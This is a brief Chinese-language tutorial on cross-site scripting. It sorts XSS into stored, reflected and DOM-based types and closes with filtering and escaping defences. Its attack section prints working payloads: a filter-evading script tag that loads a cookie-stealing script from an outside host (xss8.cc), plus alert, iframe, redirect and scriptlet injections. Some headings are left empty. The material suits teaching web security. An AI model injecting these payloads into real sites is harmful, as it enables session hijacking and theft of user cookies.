XSS攻击分类
- 存储型XSS
持久性:攻击者把攻击代码永久存储在目标服务器(多见于论坛,留言板等).危害性最大,影响面最广. - 反射型XSS
非持久性:攻击脚本嵌入到某个URL链接,诱骗客户端点击而触发执行. - DOM型XSS
通过前端脚本修改页面的DOM节点形成的XSS,不与服务器进行交互.
XSS攻击过程
存储型XSS攻击过程
反射型XSS攻击过程
DOM型XS攻击过程
三者区别:
存储区 | 插入点 | |
---|---|---|
存储型 | 服务器数据库 | HTML |
反射型 | URL | HTML |
DOM型 | 前端存储 | 前端JavaScript |
XSS攻击实战
- 盗取Cookie:诱骗点击
注入代码:
<sCRiPt sRC=https://xss8.cc/tvW7>
</sCrIpT>
https://xss8.cc/tvW7核心代码:
- Stored XSS:跨站到一个木马网站
< Img>标签src属性
< Script>标签src属性
< Link>标签href属性
Css中< Img>标签src
Flash中< Img>标签
1.用于测试是否存在跨站
<script>
alert("test")
</script>
2.弹出一个包含浏览器cookie信息的对话框
<script>
window.alert(document.cookie);
</script>
3.打开另一个网页窗口
<script>
window.open('http://www.target.com/index.asp','newwindow','width=200,height=200');
</script>
4.出现一个高0,宽0的网页框架
<iframe src=http://target.com/index.asp width=0 height=0>< iframe>
5.刷新到另一个页面
<meta http-equiv="refresh" content="1;URL=http://www.target.com/index.asp">
6.Scriptlet引入另一个界面
<object type="text/x-scriptlet" data="http://www.target.com/index.asp"></object>
XSS攻击防范
XSS有两大要素:
- 攻击者提交恶意代码
输入过滤:
Str_replace()替换函数
Preg_replace()执行正则表达式的搜索与替换
Strtolow()转化为小写字符
Trim()消除空格
Stripslashes()消除反斜杠
对HTML做充分转义
htmlspecialchars():将"<“和”>"转换为HTML实体
- 浏览器执行恶意代码